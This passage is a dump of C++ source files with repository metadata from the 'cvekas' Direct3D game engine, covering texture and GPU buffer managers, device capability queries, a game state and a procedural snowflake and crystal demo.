name));\r\n\t\twindow->showCursor(false);\r\n\t\tvideo_device->init(window);\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\tsprite_batch = video_device->createSpriteBatch(main_renderer, 800, 600, 0);\r\n\t\tDefaultGUIStylePtr gui_style(new DefaultGUIStyle(sprite_batch));\r\n\t\tGUIPtr gui(new GUI(gui_style, input));\r\n\t\tsetGUI(gui);\r\n\r\n\t\tvideo_device->setClearColor(Color(255, 255, 255));\r\n\r\n\t\tinput->getMouse()->setVirtualResolution(800, 600);\r\n\r\n\t\tStatePtr state1 = StatePtr(new State1(main_renderer, sprite_batch));\r\n\t\tStatePtr state2 = StatePtr(new State2(main_renderer, sprite_batch));\r\n\t\tStatePtr state3 = StatePtr(new State3(main_renderer, sprite_batch));\r\n\r\n\t\tstate_manager.setState(STATE1, state1);\r\n\t\tstate_manager.setState(STATE2, state2);\r\n\t\tstate_manager.setState(STATE3, state3);\r\n\t\tstate_manager.pushState(STATE1);\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\tinput->getMouse()->update();\r\n\r\n\t\treturn state_manager.update();\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tbool go_on;\r\n\r\n\t\tvideo_device->beginScene();\r\n\r\n\t\tgo_on = state_manager.render();\r\n\r\n\t\tgui->present();\r\n\t\tsprite_batch->present();\r\n\t\t\r\n\t\tmain_renderer->render();\r\n\r\n\t\tvideo_device->endScene();\r\n\r\n\t\tmain_renderer->endFrame();\r\n\t\treturn go_on;\r\n\t}\r\n\r\nprivate:\r\n\tSpriteBatchPtr sprite_batch;\r\n\tStateManager state_manager;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\tStatesDemo demo(hInstance, \"States Demo\", \"StatesDemo.log\");\r\n\ttry\r\n\t{\r\n\t\tdemo.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6815286874771118, "alphanum_fraction": 0.709554135799408, "avg_line_length": 20.782608032226562, "blob_id": "083d9a0f49bcf9c1faa59010b1965531821aded7", "content_id": "9335a20ccfc99f368856d92607583d39dd370106", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1570, "license_type": "no_license", "max_line_length": 125, "num_lines": 69, "path": "/source/DeviceCaps.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef DEVICECAPS_H\r\n#define DEVICECAPS_H\r\n\r\n#include \"CommonTypes.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: provide easy info about fp texture blending and fp rendertarget multisampling, also instancing\r\n\t\r\n/// \\brief Video device capabilities\r\n///\r\n/// \\remarks There is no public constructor, so the only way to get instance is by calling VideoDevice::getCaps(D3DDEVTYPE), \r\n/// note that you can do this without initializing device, all you need is an instance of VideoDevice\r\nclass DeviceCaps\r\n{\r\npublic:\r\n\t/// Pixel shader versions\r\n\tenum PShaderVersion\r\n\t{\r\n\t\tno_ps = 0,\r\n\t\tps1_1,\r\n\t\tps1_4,\r\n\t\tps2_0,\r\n\t\tps3_0\r\n\t};\r\n\t/// Vertex shader versions\r\n\tenum VShaderVersion\r\n\t{\r\n\t\tno_vs = 0,\r\n\t\tvs1_1,\r\n\t\tvs2_0,\r\n\t\tvs3_0\r\n\t};\r\n\r\n\t/// Returns D3DCAPS9 structure for accessing information that isn't provided by DeviceCaps\r\n\tconst D3DCAPS9& getD3DCaps();\r\n\t/// Returns D3DDEVTYPE of device\r\n\tD3DDEVTYPE getDeviceType();\r\n\r\n\t/// Returns pixel shader version\r\n\tPShaderVersion getPSVersion();\r\n\t/// Returns vertex shader version\r\n\tVShaderVersion getVSVersion();\r\n\t/// Returns multiple render target count\r\n\tuint getMRTCount();\r\n\t/// Is floating point (D3DFMT_R32F and D3DFMT_A16B16G16R16F) rendertargets supported?\r\n\tbool supportFloatRT();\r\n\r\nprivate:\r\n\tDeviceCaps(D3DPtr d3d, D3DDEVTYPE device_type);\r\n\t\r\n\tD3DCAPS9 caps;\r\n\tD3DDEVTYPE device_type;\r\n\r\n\tPShaderVersion ps_version;\r\n\tVShaderVersion vs_version;\r\n\tint mrt_count;\r\n\tbool fp_rt_support;\r\n\r\n\tD3DPtr d3d;\r\n\r\n\tfriend class VideoDevice;\r\n};\r\n\r\ntypedef boost::shared_ptr<DeviceCaps> DeviceCapsPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7059897780418396, "alphanum_fraction": 0.7125639319419861, "avg_line_length": 28.10988998413086, "blob_id": "1dd54a0412cb0311c491e6d15a99dd66ee424326", "content_id": "76a05db09ff8d83c7a5de7b64162d5bf8208380e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2738, "license_type": "no_license", "max_line_length": 109, "num_lines": 91, "path": "/source/TextureManager.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef TEXTUREMANAGER_H\r\n#define TEXTUREMANAGER_H\r\n\r\n#include \"Texture2D.h\"\r\n#include \"TextureCube.h\"\r\n#include \"RenderTarget.h\"\r\n#include \"ResourceManager.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Texture Manager\r\nclass TextureManager : public ResourceManager<TexturePtr>\r\n{\r\npublic:\r\n\t/// Constructor\r\n\tTextureManager(D3DDevicePtr device);\r\n\t\r\n\t/// Destructor\r\n\tvirtual ~TextureManager();\r\n\r\n\t/// Loads new texture from file\r\n\t/// \\param name Texture name\r\n\t/// \\param file Texture filename\r\n\t/// \\param format Surfacea format\r\n\t/// \\param pow_of2 Should texture be rounded to the nearest power-of-2 size?\r\n\t/// \\param lockable Will the texture be lockable?\r\n\t/// \\param gen_mipmaps Should engine generate mipmap chain?\r\n\tTexture2DPtr loadTexture2D(const std::string& name, const std::string& file, \r\n\t\tD3DFORMAT format = D3DFMT_FROM_FILE, bool pow_of2 = false, bool lockable = false, bool gen_mipmaps = true);\r\n\r\n\t/// Creates new texture\r\n\t/// \\param name Texture name\r\n\t/// \\param width Width in pixels\r\n\t/// \\param height Height in pixels\r\n\t/// \\param format Surface format\r\n\t/// \\param mipmaped Will texture have mipmaps?\r\n\t/// \\param dynamic Will texture be dynamic?\r\n\tTexture2DPtr createTexture2D(const std::string& name, uint width, uint height, \r\n\t\tD3DFORMAT format, bool mipmaped = false, bool dynamic = false);\r\n\r\n\t/// Loads cube map from ddf file\r\n\t/// \\param name Texture name\r\n\t/// \\param file Texture filename\r\n\tTextureCubePtr loadTextureCube(const std::string& name, const std::string& file);\r\n\r\n\t/// Creates new render target\r\n\t/// \\param name Render target name\r\n\t/// \\param width Width in pixels\r\n\t/// \\param height Height in pixels\r\n\t/// \\param format Surface format\r\n\tRenderTargetPtr createRenderTarget(const std::string& name, uint width, uint height,\r\n\t\tD3DFORMAT format);\r\n\t\r\n\t/// Returns existing texture\r\n\t/// \\param name Texture name\r\n\tTexture2DPtr getTexture2D(const std::string& name);\r\n\t\r\n\t/// Returns existing texture\r\n\t/// \\param id Texture ID\r\n\tTexture2DPtr getTexture2D(ResourceId id);\r\n\r\n\t/// Returns existing cube texture\r\n\t/// \\param name Texture name\r\n\tTextureCubePtr getTextureCube(const std::string& name);\r\n\t\r\n\t/// Returns existing cube texture\r\n\t/// \\param id Texture ID\r\n\tTextureCubePtr getTextureCube(ResourceId id);\r\n\r\n\t/// Returns existing render target\r\n\t/// \\param name Render target name\r\n\tRenderTargetPtr getRenderTarget(const std::string& name);\r\n\t\r\n\t/// Returns existing render target\r\n\t/// \\param id Render target ID\r\n\tRenderTargetPtr getRenderTarget(ResourceId id);\r\n\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceLost();\r\n\t/// You shouldn't call this\r\n\tvoid onDeviceReset();\r\n\r\nprivate:\r\n\tD3DDevicePtr device;\r\n};\r\n\r\ntypedef boost::shared_ptr<TextureManager> TextureManagerPtr;\r\n\r\n}\r\n\r\n#endif" }, { "alpha_fraction": 0.7310652136802673, "alphanum_fraction": 0.7314702272415161, "avg_line_length": 26.686046600341797, "blob_id": "fc021bb6ad659752d31578be99c70bccb5ec3b54", "content_id": "5a48c7b6d2460f3f03a4515b05d50f2c2a7fea93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2469, "license_type": "no_license", "max_line_length": 139, "num_lines": 86, "path": "/source/GpuBufferManager.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"GpuBufferManager.h\"\r\n\r\n#include \"Log.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nGpuBufferManager::GpuBufferManager(D3DDevicePtr device)\r\n\t:\r\ndevice(device)\r\n{\r\n\tLOG(\"GpuBufferManager created\");\r\n}\r\n\r\nGpuBufferManager::~GpuBufferManager()\r\n{\r\n\tLOG(\"Destroying GpuBufferManager\");\r\n}\r\n\r\nIndexBufferPtr GpuBufferManager::createIndexBuffer(const std::string &name, bool sixteen_bits, uint index_count, bool dynamic)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tGpuBufferPtr index_buffer(new IndexBuffer(id, device, name, sixteen_bits, index_count, dynamic));\r\n\treturn boost::static_pointer_cast<IndexBuffer>(insert(name, index_buffer, id));\r\n}\r\n\r\nVertexBufferPtr GpuBufferManager::createVertexBuffer(const std::string &name, Cvekas::VertexFormat format, uint vertex_count, bool dynamic)\r\n{\r\n\tResourceId id = getUniqueId(name);\r\n\tGpuBufferPtr vertex_buffer(new VertexBuffer(id, device, name, format, vertex_count, dynamic));\r\n\treturn boost::static_pointer_cast<VertexBuffer>(insert(name, vertex_buffer, id));\r\n}\r\n\r\nIndexBufferPtr GpuBufferManager::getIndexBuffer(const std::string &name)\r\n{\r\n\tGpuBufferPtr index_buffer = get(name);\r\n\treturn boost::dynamic_pointer_cast<IndexBuffer>(index_buffer);\r\n}\r\n\r\nIndexBufferPtr GpuBufferManager::getIndexBuffer(Cvekas::ResourceId id)\r\n{\r\n\tGpuBufferPtr index_buffer = get(id);\r\n\treturn boost::dynamic_pointer_cast<IndexBuffer>(index_buffer);\r\n}\r\n\r\nVertexBufferPtr GpuBufferManager::getVertexBuffer(const std::string &name)\r\n{\r\n\tGpuBufferPtr vertex_buffer = get(name);\r\n\treturn boost::dynamic_pointer_cast<VertexBuffer>(vertex_buffer);\r\n}\r\n\r\nVertexBufferPtr GpuBufferManager::getVertexBuffer(Cvekas::ResourceId id)\r\n{\r\n\tGpuBufferPtr vertex_buffer = get(id);\r\n\treturn boost::dynamic_pointer_cast<VertexBuffer>(vertex_buffer);\r\n}\r\n\r\nvoid GpuBufferManager::onDeviceLost()\r\n{\r\n\t// If resources is empty, resources.begin() throw exception \r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tGpuBufferPtr buffer = *resources_itr;\r\n\t\tif(bool(buffer))\r\n\t\t\tbuffer->onDeviceLost();\r\n\t}\r\n}\r\n\r\nvoid GpuBufferManager::onDeviceReset()\r\n{\r\n\t// If resources is empty, resources.begin() throw exception \r\n\tif(resources.empty())\r\n\t\treturn;\r\n\r\n\tfor(resources_itr = resources.begin(); resources_itr != resources.end(); ++resources_itr)\r\n\t{\r\n\t\tGpuBufferPtr buffer = *resources_itr;\r\n\t\tif(bool(buffer))\r\n\t\t\tbuffer->onDeviceReset();\r\n\t}\r\n}\r\n\r\n} // namespace\r\n\r\n" }, { "alpha_fraction": 0.6173697113990784, "alphanum_fraction": 0.6441687345504761, "avg_line_length": 19.68817138671875, "blob_id": "47d8ae3d09b2e4d9e5c8cf809a2aa26cb149d886", "content_id": "1e7a291a400feed37d9ab817af50c1603e2ed795", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2015, "license_type": "no_license", "max_line_length": 92, "num_lines": 93, "path": "/apps/Collapse/Game.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Game.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"States.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Log.h\"\r\n\r\n// Constants\r\nconst Vector2 back_button_pos(900.0f, 738.0f);\r\n\r\nconst RectF well_backgr_source(0.0f, 144.0f, 48.0f, 48.0f);\r\n\r\n// Layers\r\nconst uint blocks_layer = 1;\r\n\r\n// Filenames\r\nconst std::string tex_blocks_file = \"boxes2.png\";\r\n\r\nGame::Game(RendererPtr main_renderer, BitmapFontPtr font, SpriteBatchPtr sprite_batch)\r\n\t: State(main_renderer), font(font), sprite_batch(sprite_batch) \r\n{\r\n\tEngine e;\r\n\tgui = e.getGUI();\r\n}\r\n\r\nGame::~Game()\r\n{}\r\n\r\nvoid Game::init()\r\n{\t\r\n\tTextureManagerPtr texture_mngr = this->video_device->getTextureManager();\r\n\ttex_blocks = texture_mngr->loadTexture2D(\"blocks\", Filesystem::redirect(tex_blocks_file)); \r\n\treset();\r\n\t\r\n\tLOG(\"Game state initialized\");\r\n}\r\n\r\nvoid Game::close()\r\n{\r\n\tLOG(\"Game state closed\");\r\n}\r\n\r\nvoid Game::render(const StateManager& state_manager)\r\n{\r\n\tdraw_well();\r\n\r\n\tif(gui->doButton(back_button_pos, \"BACK\"))\r\n\t\tstate_manager.popState();\r\n}\r\n\r\nvoid Game::fade(const StateManager& state_manager, float amount, uint from, uint to)\r\n{\r\n\tColor color = Color::lerp(Color(255, 255, 255, 0), Color(255, 255, 255, 255), amount);\r\n\tdraw_well(color);\r\n}\r\n\r\nRectF Game::getBlockSource(BlockColor color, uint frame)\r\n{\r\n\tassert(color < 3);\r\n\tassert(frame < 3);\r\n\r\n\tif(color == EMPTY)\r\n\t\treturn well_backgr_source;\r\n\r\n\tRectF result;\r\n\tresult.width = float(block_width);\r\n\tresult.height = float(block_height);\r\n\r\n\tresult.y = float((3-color) * block_height);\r\n\tresult.x = float(frame * block_width);\r\n\r\n\treturn result;\r\n}\r\n\r\nvoid Game::draw_well(const Color& color)\r\n{\r\n\tfor(uint y = 0; y < well_height; ++y)\r\n\t{\r\n\t\tfor(uint x = 0; x < well_width; ++x)\r\n\t\t{\r\n\t\t\tRectF source = getBlockSource(well[x][y], (x^y)%3);\r\n\t\t\t\r\n\t\t\tsprite_batch->draw(tex_blocks, blocks_layer, source, \r\n\t\t\t\tVector2(float(well_x + x * block_width), float(well_y + y * block_height)), color);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid Game::reset()\r\n{\r\n\tmemset(well, 0, sizeof(well));\r\n}" }, { "alpha_fraction": 0.5406516194343567, "alphanum_fraction": 0.6046181321144104, "avg_line_length": 28.905311584472656, "blob_id": "cd8712357c528a687bc6e2e72ad9d409a020f280", "content_id": "c086d2480ff28c74ef093146d3f45a763d5c3810", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 13382, "license_type": "no_license", "max_line_length": 147, "num_lines": 433, "path": "/apps/Celerity/Snowflake.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Snowflake.h\"\r\n\r\n#include \"Engine.h\"\r\n#include \"Filesystem.h\"\r\n\r\nconst uint snowflake_levels = 3;\r\nconst uint snowflake_tris = 1896;\r\nconst uint crystal_sides = 7;\r\nconst uint crystal_branches = 512;\r\nconst uint crystal_tris = (crystal_branches-1) * crystal_sides * 2;\r\n\r\nSnowflake::Snowflake(RendererPtr renderer, VectorBatchPtr vector_batch, SpriteBatchPtr sprite_batch, BitmapFontPtr font)\r\n: renderer(renderer), vector_batch(vector_batch), sprite_batch(sprite_batch), font(font), \r\ncamera(Vector3(0.0f, 0.0f, -5.0f), Vector3(0.0f, 0.0f, 1.0f), Vector3(0.0f, 1.0f, 0.0f)), prng(339)\r\n{\r\n}\r\n\r\nSnowflake::~Snowflake()\r\n{\r\n}\r\n\r\nvoid Snowflake::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\treflection = video_device->getTextureManager()->loadTextureCube(\"reflection\", Filesystem::redirect(\"eucalyptus_grove.dds\"));\r\n\r\n\thex_batch_effect = video_device->getEffectManager()->load(\"HexBatch\", Filesystem::redirect(\"HexBatch.fx\"));\r\n\r\n\t// Snowflake\r\n\tsnowflake_effect = video_device->getEffectManager()->load(\"Snowflake\", Filesystem::redirect(\"Snowflake.fx\"));\r\n\tsnowflake_effect->setParamValue(snowflake_effect->getParamBySemantic(\"ENV_REFLECTION\"), boost::shared_polymorphic_cast<BaseTexture>(reflection)); \r\n\tsnowflake_effect->getAutoParams()->addDynamic(\"light1_attenuation\", &light1_att);\r\n\tsnowflake_effect->getAutoParams()->addDynamic(\"light2_attenuation\", &light2_att);\r\n\t\r\n\tsnowflake_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"snowflake_vb\", \r\n\t\tVertexPosNormal::getFormat(), snowflake_tris * 3, false);\r\n\r\n\tVector3 p[] = {\r\n\t\tVector3(1.0f, 1.0f, 1.0f),\r\n\t\tVector3(-1.0f, -1.0f, 1.0f),\r\n\t\tVector3(-1.0f, 1.0f, -1.0f),\r\n\t\tVector3(1.0f, -1.0f, -1.0f)\r\n\t};\r\n\tVector3 p1[] = {p[0], p[2], p[1]};\r\n\tVector3 p2[] = {p[0], p[3], p[2]};\r\n\tVector3 p3[] = {p[0], p[1], p[3]};\r\n\tVector3 p4[] = {p[1], p[2], p[3]};\r\n\r\n\tLockedBuffer lb = snowflake_vb->lock(false);\r\n\tVertexPosNormal* data = reinterpret_cast<VertexPosNormal*>(lb.data);\r\n\tgenSnowflake(data, p1, snowflake_levels);\r\n\tgenSnowflake(data, p2, snowflake_levels);\r\n\tgenSnowflake(data, p3, snowflake_levels);\r\n\tgenSnowflake(data, p4, snowflake_levels);\r\n\tsnowflake_vb->unlock();\r\n\r\n\tMeshPtr snowflake_mesh(new Mesh(snowflake_vb, IndexBufferPtr()));\r\n\tsnowflake = RenderableMeshPtr(new RenderableMesh(snowflake_mesh, snowflake_effect, EffectParamsPtr(), 100));\r\n\r\n\t// Crystal\r\n\tcrystal_effect = video_device->getEffectManager()->load(\"Crystal\", Filesystem::redirect(\"Crystal.fx\"));\r\n\tcrystal_effect->getAutoParams()->addDynamic(\"light1_attenuation\", &light1_att);\r\n\tcrystal_effect->getAutoParams()->addDynamic(\"light2_attenuation\", &light2_att);\r\n\r\n\tcrystal_vb = video_device->getGpuBufferManager()->createVertexBuffer(\"crystal_vb\",\r\n\t\tVertexPosNormal::getFormat(), crystal_tris, false);\r\n\tlb = crystal_vb->lock(false);\r\n\tdata = reinterpret_cast<VertexPosNormal*>(lb.data);\r\n#ifndef _DEBUG\r\n\tgenCrystal(data, crystal_branches);\r\n#endif\r\n\tcrystal_vb->unlock();\r\n\r\n\tcrystal_ib = video_device->getGpuBufferManager()->createIndexBuffer(\"crystal_ib\", true, crystal_tris * 3, false);\r\n\tlb = crystal_ib->lock(false);\r\n\tuint16* idata = reinterpret_cast<uint16*>(lb.data);\r\n\tgenCrystalIB(idata, crystal_branches);\r\n\tcrystal_ib->unlock();\r\n\r\n\tMeshPtr crystal_mesh(new Mesh(crystal_vb, crystal_ib));\r\n\tcrystal = RenderableMeshPtr(new RenderableMesh(crystal_mesh, crystal_effect, EffectParamsPtr(), 120));\r\n\r\n\t// Hexes\r\n\tgenHexes(128);\r\n}\r\n\r\nvoid Snowflake::close()\r\n{\r\n}\r\n\r\nfloat beat2_factor(float t) {\r\n\twhile(t >= 0.0f) {\r\n\t\tt -= 0.535714f;\r\n\t}\r\n\treturn t*t;\r\n}\r\n\r\nvoid Snowflake::update(float t)\r\n{\r\n\tfloat bf = beat2_factor(t);\r\n\tfloat t1 = transformT(44.0f, 48.0f, t);\r\n\tVector3 crystal_pos = Vector3(smoothstep(8.0f, -1.0f, t1) + cos(t/3.2f)/4.0f, \r\n\t\tsmoothstep(sin(t*2.0f)/3.0f, -0.5f, t1)+ cos(t/4.2f)/4.0f, \r\n\t\t-1.0f + cos(t/4.0f)/4.0f);\r\n\tif(t < 64.0f)\r\n\t\tcrystal->setPosition(crystal_pos);\r\n\telse\r\n\t\tcrystal->setPosition(crystal_pos \r\n\t\t\t+ lerp(Vector3(0.0f, 0.0f, 0.0f), Vector3(sin(t*8.0f)*10.0f, cos(t*9.0f)*10.0f, cos(t*10.0f)*10.0f), transformT(64.0f, 65.0f, t)));\r\n\tif(t < 55.5f)\r\n\t{\r\n\t\tlight1_att = 20.0f;\r\n\t\tlight2_att = 20.0f;\r\n\t\tcrystal->setScale(Vector3(10.0f, 10.0f, smootherstep(0.1f, 3.0f, transformT(55.0f, 55.5f, t))));\r\n\t}\r\n\telse\r\n\t{\r\n\t\tcrystal->setScale(Vector3(10.0f, 10.0f, smootherstep(3.0f, 10.0f, transformT(55.5f, 56.0f, t))));\r\n\t\tlight1_att = smootherstep(10.0f, 0.05f, transformT(57.0f, 58.6f, t));\r\n\t\tlight2_att = smootherstep(10.0f, 0.01f, transformT(55.8f, 58.0f, t));\r\n\t}\r\n\tfloat t2 = transformT(54.0f, 56.0f, t);\r\n\tcrystal->setRotation(Vector3(smoothstep(0.0f, cos(t/5.0f), t2), smoothstep(0.0f, sin(t/4.0f), t2), sin(t/4.5f)));\r\n\r\n\tsnowflake->setRotation(Vector3(sin(t), cos(t), sin(t/2.0f)));\r\n\t\r\n\tfloat t3 = transformT(52.0f, 58.0f, t);\r\n\tfloat t4 = transformT(65.0f, 76.0f, t);\r\n\tVector3 snowflake_jitter(sin(t*2.1f)/5.0f, cos(t*2.6f)/5.0f, cos(t*1.6f)/4.0f);\r\n\tif(t < 65.0f)\r\n\t\tsnowflake->setPosition(Vector3(smootherstep(10.0f, 2.0f, t3), 1.2f, smootherstep(10.0f * bf / 10.0f, 1.7f, t3)) + snowflake_jitter);\r\n\telse\r\n\t{\r\n\t\tVector3 pos = Vector3(smootherstep(2.0f, 0.6f, t4), smootherstep(1.2f, -0.1f, t4), smootherstep(1.7f, -1.0f, t4)) + snowflake_jitter;\r\n\t\tif(t < 75.0f)\r\n\t\t\tsnowflake->setPosition(pos);\r\n\t\telse\r\n\t\t\tsnowflake->setPosition(smoothstep(pos, Vector3(0.0f, 0.0f, 40.0f), transformT(75.0f, 78.0f, t)));\r\n\t}\r\n\tfloat s = smootherstep(0.0f, 1.0f, t3 - 0.1f);\r\n\tsnowflake->setScale(Vector3(s, s, s));\r\n\r\n\tupdateHexes(t);\r\n}\r\n\r\nvoid Snowflake::render(float t)\r\n{\r\n\tstatic bool first = true;\r\n\tif(first) \r\n\t{\r\n\t\tsprite_batch->setVirtualResolution(1024, 576);\r\n\t\tsprite_batch->setEffect(hex_batch_effect);\r\n\t\tfirst = false;\r\n\t}\r\n\r\n\tvideo_device->getRenderingParams().setCamera(camera);\r\n\tvideo_device->beginScene();\r\n\t\r\n\t// draw hexes\r\n\tdrawHexes(t);\r\n\t\r\n\trenderer->prepare(*snowflake);\r\n\tif(t <= 65.0f)\r\n\t\trenderer->prepare(*crystal);\r\n\trenderer->render();\r\n\tvideo_device->endScene();\r\n\trenderer->endFrame();\r\n}\r\n\r\nvoid Snowflake::genSnowflake(VertexPosNormal*& out, Vector3 p[3], uint level) \r\n{\r\n\tVector3 v1 = p[1] - p[0];\r\n\tVector3 v2 = p[2] - p[0];\r\n\tVector3 normal = v1.cross(v2).getNormalized();\r\n\t\r\n\tif(level == 0) \r\n\t{\r\n\t\t*(out++) = VertexPosNormal(p[0], normal);\r\n\t\t*(out++) = VertexPosNormal(p[1], normal);\r\n\t\t*(out++) = VertexPosNormal(p[2], normal);\r\n\t\treturn;\r\n\t}\r\n\r\n\tVector3 m[3];\r\n\tm[0] = (p[0] + p[1]) / 2.0f;\r\n\tm[1] = (p[1] + p[2]) / 2.0f;\r\n\tm[2] = (p[2] + p[0]) / 2.0f;\r\n\r\n\tVector3 c = (p[0] + p[1] + p[2]) / 3.0f;\r\n\r\n\tVector3 nm[3];\r\n\tnm[0] = lerp(m[0], c, 0.25f);\r\n\tnm[1] = lerp(m[1], c, 0.25f);\r\n\tnm[2] = lerp(m[2], c, 0.25f);\r\n\t\r\n\tVector3 d = nm[0] - nm[1];\r\n\tfloat b = d.length();\r\n\tfloat h = sqrtf(2.0f / 3.0f) * b;\r\n\r\n\tc += normal * h;\r\n\r\n\tVector3 np1[] = {p[0], m[0], m[2]};\r\n\tVector3 np2[] = {nm[2], nm[0], c};\r\n\tVector3 np3[] = {p[1], m[1], m[0]};\r\n\tVector3 np4[] = {nm[0], nm[1], c};\r\n\tVector3 np5[] = {p[2], m[2], m[1]};\r\n\tVector3 np6[] = {nm[1], nm[2], c};\r\n\r\n\tfor(uint i = 0; i < 3; ++i) {\r\n\t\t*(out++) = VertexPosNormal(m[i], normal);\r\n\t\t*(out++) = VertexPosNormal(m[(i+1)%3], normal);\r\n\t\t*(out++) = VertexPosNormal(nm[(i+1)%3], normal);\r\n\r\n\t\t*(out++) = VertexPosNormal(nm[(i+1)%3], normal);\r\n\t\t*(out++) = VertexPosNormal(nm[i], normal);\r\n\t\t*(out++) = VertexPosNormal(m[i], normal);\r\n\t}\r\n\r\n\tgenSnowflake(out, np1, level-1);\r\n\tgenSnowflake(out, np2, level-1);\r\n\tgenSnowflake(out, np3, level-1);\r\n\tgenSnowflake(out, np4, level-1);\r\n\tgenSnowflake(out, np5, level-1);\r\n\tgenSnowflake(out, np6, level-1);\r\n}\r\n\r\nstruct CrystalNode\r\n{\r\n\tVector3 pos;\r\n\tfloat radius;\r\n\tuint parent;\r\n\tuint childrens;\r\n};\r\n\r\nVector3 Snowflake::random_spherepoint() \r\n{\r\n\tfloat z = prng.randFloat(-1.0f, 1.0f);\r\n\tfloat phi = prng.randFloat(0.0f, 2.0f * pi);\r\n\tfloat theta = acos(z);\r\n\r\n\treturn Vector3(cos(phi) * cos(theta), cos(theta) * sin(phi), z);\r\n}\r\n\r\nvoid Snowflake::genCrystal(VertexPosNormal* out, uint branches) \r\n{\r\n\tstd::vector<CrystalNode> nodes;\r\n\tCrystalNode center;\r\n\tcenter.pos = Vector3();\r\n\tcenter.radius = 0.1f;\r\n\tcenter.parent = 0;\r\n\tcenter.childrens = 0;\r\n\tnodes.push_back(center);\r\n\r\n\t// Generate crystal structure using diffusion-limited agregation\r\n\twhile(nodes.size() < branches) \r\n\t{\r\n\t\tVector3 start = random_spherepoint();\r\n\t\tdo \r\n\t\t{\r\n\t\t\tVector3 dir = random_spherepoint();\r\n\t\t\tstart += dir * 0.04f;\r\n\r\n\t\t\tfor(uint i = 0; i < nodes.size(); ++i)\r\n\t\t\t{\r\n\t\t\t\tVector3 d = nodes[i].pos - start;\r\n\t\t\t\tif(d.lengthSq() < (nodes[i].radius + nodes[i].radius * 0.7) * (nodes[i].radius + nodes[i].radius * 0.7)) {\r\n\t\t\t\t\tCrystalNode new_node;\r\n\t\t\t\t\tnew_node.pos = start;\r\n\t\t\t\t\tnew_node.radius = nodes[i].radius * 0.7f;\r\n\t\t\t\t\tnew_node.parent = i;\r\n\t\t\t\t\tnew_node.childrens = 0;\r\n\t\t\t\t\tnodes[i].childrens++;\r\n\t\t\t\t\tnodes.push_back(new_node);\r\n\t\t\t\t\t\r\n\t\t\t\t\tstart.x = 100.0f;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} while(start.lengthSq() <= 1.0f);\r\n\t}\r\n\r\n\t// Generate geometry from structure\r\n\tuint write_idx = 0;\r\n\tfor(uint i = 1; i < nodes.size(); ++i)\r\n\t{\r\n\t\tif(nodes[i].childrens == 0)\r\n\t\t\tnodes[i].radius = 0.0f;\r\n\r\n\t\tVector3 dir = nodes[i].pos - nodes[nodes[i].parent].pos;\r\n\t\tVector3 u(-dir.y, dir.x, 0.0f);\r\n\t\tu.normalize();\r\n\t\tVector3 v = dir.cross(u).getNormalized();\r\n\r\n\t\tdir.normalize();\r\n\r\n\t\tfor(uint j = 0; j < crystal_sides; ++j) \r\n\t\t{\r\n\t\t\tfloat a = float(j) / float(crystal_sides) * pi * 2.0f;\r\n\t\t\tVector3 n = sin(a) * u + cos(a) * v;\r\n\t\t\tVector3 p1 = nodes[i].pos + n * nodes[i].radius / 10.0f;\r\n\t\t\tVector3 p2;\r\n\t\t\tif(nodes[i].parent == 0)\r\n\t\t\t{\r\n\t\t\t\tp2 = nodes[0].pos + n * nodes[nodes[i].parent].radius / 10.0f;\r\n\t\t\t}\r\n\t\t\telse \r\n\t\t\t{\r\n\t\t\t\tassert(i > nodes[i].parent);\r\n\t\t\t\tp2 = out[(nodes[i].parent - 1) * crystal_sides * 2 + j * 2].pos;\r\n\t\t\t}\r\n\t\t\tout[write_idx++] = VertexPosNormal(p1, n);\r\n\t\t\tout[write_idx++] = VertexPosNormal(p2, n);\t\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid Snowflake::genCrystalIB(uint16* out, uint branches)\r\n{\r\n\tuint vtx_per_branch = crystal_sides * 2;\r\n\tuint idxs_per_branch = crystal_sides * 2 * 3;\r\n\tfor(uint i = 0; i < branches-1; ++i)\r\n\t{\r\n\t\tfor(uint j = 0; j < crystal_sides; ++j)\r\n\t\t{\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 0] = uint16(vtx_per_branch * i + j * 2 + 1);\r\n\t\t\tout[idxs_per_branch * i + j * 6 + 1] = 